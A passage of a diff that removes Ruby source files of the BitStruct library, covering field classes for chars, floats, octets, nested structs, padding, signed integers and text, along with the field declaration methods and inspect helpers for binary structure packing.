||||
:include_class => true,
|
||||
:simple_format => "<%s>"
|
||||
}
|
||||
|
||||
DETAILED_INSPECT_OPTS = {
|
||||
:format => "%s:\n%s",
|
||||
:field_format => "%30s = %s",
|
||||
:separator => "\n",
|
||||
:field_name_meth => :display_name,
|
||||
:include_rest => true,
|
||||
:brackets => [nil, "\n"],
|
||||
:include_class => true,
|
||||
:simple_format => "\n%s"
|
||||
}
|
||||
|
||||
# A standard inspect method which does not add newlines.
|
||||
def inspect(opts = DEFAULT_INSPECT_OPTS)
|
||||
field_format = opts[:field_format]
|
||||
field_name_meth = opts[:field_name_meth]
|
||||
|
||||
fields_for_inspect = fields.select {|field| field.inspectable?}
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_inspect << rest_field
|
||||
end
|
||||
|
||||
ary = fields_for_inspect.map do |field|
|
||||
field_format %
|
||||
[field.send(field_name_meth),
|
||||
field.inspect_in_object(self, opts)]
|
||||
end
|
||||
|
||||
body = ary.join(opts[:separator])
|
||||
|
||||
if opts[:include_class]
|
||||
opts[:format] % [self.class, body]
|
||||
else
|
||||
opts[:simple_format] % body
|
||||
end
|
||||
end
|
||||
|
||||
# A more visually appealing inspect method that puts each field/value on
|
||||
# a separate line. Very useful when output is scrolling by on a screen.
|
||||
#
|
||||
# (This is actually a convenience method to call #inspect with the
|
||||
# DETAILED_INSPECT_OPTS opts.)
|
||||
def inspect_detailed
|
||||
inspect(DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field declaration methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Define accessors for a variable length substring from the end of
|
||||
# the defined fields to the end of the BitStruct. The _rest_ may behave as
|
||||
# a String or as some other String or BitStruct subclass.
|
||||
#
|
||||
# This does not add a field, which is useful because a superclass can have
|
||||
# a rest method which accesses subclass data. In particular, #rest does
|
||||
# not affect the #round_byte_length class method. Of course, any data
|
||||
# in rest does add to the #length of the BitStruct, calculated as a string.
|
||||
# Also, _rest_ is not inherited.
|
||||
#
|
||||
# The +ary+ argument(s) work as follows:
|
||||
#
|
||||
# If a class is provided, use it for the Field class (String by default).
|
||||
# If a string is provided, use it for the display_name (+name+ by default).
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# *Warning*: the rest reader method returns a copy of the field, so
|
||||
# accessors on that returned value do not affect the original rest field.
|
||||
#
|
||||
def self.rest(name, *ary)
|
||||
if @rest_field
|
||||
raise ArgumentError, "Duplicate rest field: #{name.inspect}."
|
||||
end
|
||||
|
||||
opts = parse_options(ary, name, String)
|
||||
offset = round_byte_length
|
||||
byte_range = offset..-1
|
||||
class_eval do
|
||||
field_class = opts[:field_class]
|
||||
define_method name do ||
|
||||
field_class.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{name}=" do |val|
|
||||
self[byte_range] = val
|
||||
end
|
||||
|
||||
@rest_field = Field.new(offset, -1, name, {
|
||||
:display_name => opts[:display_name],
|
||||
:rest_class => field_class
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# Not included with the other fields, but accessible separately.
|
||||
def self.rest_field; @rest_field; end
|
||||
end
|
||||
@@ -1,49 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length binary strings of characters.
|
||||
# Declared with BitStruct.char.
|
||||
class CharField < Field
|
||||
#def self.default
|
||||
# don't define this, since it must specify N nulls and we don't know N
|
||||
#end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "char"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,301 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
class << self
|
||||
# Define a char string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls _are_
|
||||
# considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def char(name, length, *rest)
|
||||
opts = parse_options(rest, name, CharField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias string char
|
||||
BitStruct.autoload :CharField, "bit-struct/char-field"
|
||||
|
||||
# Define a floating point field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def float name, length, *rest
|
||||
opts = parse_options(rest, name, FloatField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :FloatField, "bit-struct/float-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated hex digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def hex_octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, HexOctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field"
|
||||
|
||||
# Define a nested field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _nested_class_. Length is determined from
|
||||
# _nested_class_.
|
||||
#
|
||||
# If a class is provided, use it for the Field class (i.e. <=NestedField).
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# For example:
|
||||
#
|
||||
# class Sub < BitStruct
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n, Sub
|
||||
# end
|
||||
#
|
||||
# a = A.new
|
||||
#
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# If a block is given, use it to define the nested fields. For example, the
|
||||
# following is equivalent to the above example:
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n do
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the nested structure, you get a *copy* of that data.
|
||||
# Expressed in terms of the examples above:
|
||||
#
|
||||
# # This fails to set x in a.
|
||||
# a.n.x = 3
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# # This works
|
||||
# n = a.n
|
||||
# n.x = 3
|
||||
# a.n = n
|
||||
# p a # ==> #<A n=#<Sub x=3>>
|
||||
#
|
||||
def nest(name, *rest, &block)
|
||||
nested_class = rest.grep(Class).find {|cl| cl <= BitStruct}
|
||||
rest.delete nested_class
|
||||
opts = parse_options(rest, name, NestedField)
|
||||
nested_class = opts[:nested_class] ||= nested_class
|
||||
|
||||
unless (block and not nested_class) or (nested_class and not block)
|
||||
raise ArgumentError,
|
||||
"nested field must have either a nested_class option or a block," +
|
||||
" but not both"
|
||||
end
|
||||
|
||||
unless nested_class
|
||||
nested_class = Class.new(BitStruct)
|
||||
nested_class.class_eval(&block)
|
||||
end
|
||||
|
||||
opts[:default] ||= nested_class.initial_value.dup
|
||||
opts[:nested_class] = nested_class
|
||||
field = add_field(name, nested_class.bit_length, opts)
|
||||
field
|
||||
end
|
||||
alias struct nest
|
||||
BitStruct.autoload :NestedField, "bit-struct/nested-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated decimal digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, OctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :OctetField, "bit-struct/octet-field"
|
||||
|
||||
# Define a padding field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def pad(name, length, *rest)
|
||||
opts = parse_options(rest, name, PadField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias padding pad
|
||||
BitStruct.autoload :PadField, "bit-struct/pad-field"
|
||||
|
||||
# Define a signed integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# SignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def signed name, length, *rest
|
||||
opts = parse_options(rest, name, SignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :SignedField, "bit-struct/signed-field"
|
||||
|
||||
# Define a printable text string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# _not_ considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def text(name, length, *rest)
|
||||
opts = parse_options(rest, name, TextField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :TextField, "bit-struct/text-field"
|
||||
|
||||
# Define a unsigned integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# UnsignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def unsigned name, length, *rest
|
||||
opts = parse_options(rest, name, UnsignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field"
|
||||
|
||||
# Define a vector field in the current subclass of BitStruct,
|
||||
# with the given _name_.
|
||||
#
|
||||
# If a class is provided, use it for the Vector class, otherwise
|
||||
# the block must define the entry fields. The two forms looks like
|
||||
# this:
|
||||
#
|
||||
# class Vec < BitStruct::Vector
|
||||
# # these declarations apply to *each* entry in the vector:
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
#
|
||||
# class Packet < BitStruct
|
||||
# # Using the Vec class defined above
|
||||
# vector :v, Vec, "a vector", :length => 5
|
||||
#
|
||||
# # equivalently, using an anonymous subclass of BitStruct::Vector
|
||||
# vector :v2, "a vector", :length => 5 do
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
# If a number is provided, use it for length (equivalent to using the
|
||||
# :length option).
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the vector structure, you get a *copy* of that data.
|
||||
#
|
||||
# For example, to modify the numeric fields in a Packet as defined above:
|
||||
#
|
||||
# pkt = Packet.new
|
||||
# vec = pkt.v
|
||||
# entry = vec[2]
|
||||
# entry.x = 123
|
||||
# entry.y = -456
|
||||
# vec[2] = entry
|
||||
# pkt.v = vec
|
||||
#
|
||||
def vector(name, *rest, &block)
|
||||
opts = parse_options(rest, name, nil)
|
||||
cl = opts[:field_class]
|
||||
opts[:field_class] = VectorField
|
||||
|
||||
unless (block and not cl) or (cl and not block)
|
||||
raise ArgumentError,
|
||||
"vector must have either a class or a block, but not both"
|
||||
end
|
||||
|
||||
case
|
||||
when cl == nil
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.class_eval(&block)
|
||||
|
||||
when cl < BitStruct
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.struct_class cl
|
||||
|
||||
when cl < BitStruct::Vector
|
||||
vector_class = cl
|
||||
|
||||
else raise ArgumentError, "Bad vector class: #{cl.inspect}"
|
||||
end
|
||||
|
||||
vector_class.default_options default_options
|
||||
|
||||
length = opts[:length] || rest.grep(Integer).first
|
||||
## what about :length => :lenfield
|
||||
unless length
|
||||
raise ArgumentError,
|
||||
"Must provide length as argument N or as option :length => N"
|
||||
end
|
||||
|
||||
opts[:default] ||= vector_class.new(length) ## nil if variable length
|
||||
opts[:vector_class] = vector_class
|
||||
|
||||
bit_length = vector_class.struct_class.round_byte_length * 8 * length
|
||||
|
||||
field = add_field(name, bit_length, opts)
|
||||
field
|
||||
end
|
||||
BitStruct.autoload :VectorField, "bit-struct/vector-field"
|
||||
end
|
||||
|
||||
autoload :Vector, "bit-struct/vector"
|
||||
end
|
||||
@@ -1,62 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for floats (single and double precision) in network order.
|
||||
# Declared with BitStruct.float.
|
||||
class FloatField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "float"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length == 32 or length == 64
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be 32 or 64."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = case length
|
||||
when 32; "f"
|
||||
when 64; "d"
|
||||
end
|
||||
when "little"
|
||||
ctl = case length
|
||||
when 32; "e"
|
||||
when 64; "E"
|
||||
end
|
||||
when "network", "big", ""
|
||||
ctl = case length
|
||||
when 32; "g"
|
||||
when 64; "G"
|
||||
end
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.hex_octets.
|
||||
class HexOctetField < BitStruct::OctetField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "hex_octets"
|
||||
end
|
||||
|
||||
SEPARATOR = ":"
|
||||
FORMAT = "%02x"
|
||||
BASE = 16
|
||||
end
|
||||
end
|
||||
@@ -1,77 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/bit-struct'
|
||||
|
||||
class BitStruct
|
||||
# Class for nesting a BitStruct as a field within another BitStruct.
|
||||
# Declared with BitStruct.nest.
|
||||
class NestedField < Field
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "nest"
|
||||
end
|
||||
|
||||
def class_name
|
||||
@class_name ||= nested_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
def nested_class
|
||||
@nested_class ||= options[:nested_class] || options["nested_class"]
|
||||
end
|
||||
|
||||
def describe opts
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
nested_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
nc = nested_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
nc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != nc
|
||||
warn "Type mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,46 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.octets.
|
||||
class OctetField < BitStruct::CharField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "octets"
|
||||
end
|
||||
|
||||
SEPARATOR = "."
|
||||
FORMAT = "%d"
|
||||
BASE = 10
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
attr_chars = "#{attr}_chars"
|
||||
super(cl, attr_chars)
|
||||
sep = self.class::SEPARATOR
|
||||
base = self.class::BASE
|
||||
fmt = self.class::FORMAT
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
ary = []
|
||||
send(attr_chars).each_byte do |c|
|
||||
ary << fmt % c
|
||||
end
|
||||
ary.join(sep)
|
||||
end
|
||||
|
||||
old_writer = "#{attr_chars}="
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
|
||||
send(old_writer, data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,16 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length padding.
|
||||
class PadField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "padding"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
# No accessors for padding.
|
||||
end
|
||||
|
||||
def inspectable?; false; end
|
||||
end
|
||||
end
|
||||
@@ -1,259 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for signed integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.signed.
|
||||
class SignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "signed"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
max = 2**length-1
|
||||
mid = 2**(length-1)
|
||||
max_unsigned = 2**length
|
||||
to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n}
|
||||
# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n}
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "s" : "l"
|
||||
if length == 16 or length == 32
|
||||
to_signed = proc {|n| n}
|
||||
# with pack support, to_signed can be replaced with no-op
|
||||
end
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
val += max_unsigned if val < 0
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]] / divisor_f]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[((bytes.unpack(ctl).first & mask) >> rest)] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[(bytes.unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,45 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for null-terminated printable text strings.
|
||||
# Declared with BitStruct.text.
|
||||
class TextField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "text"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
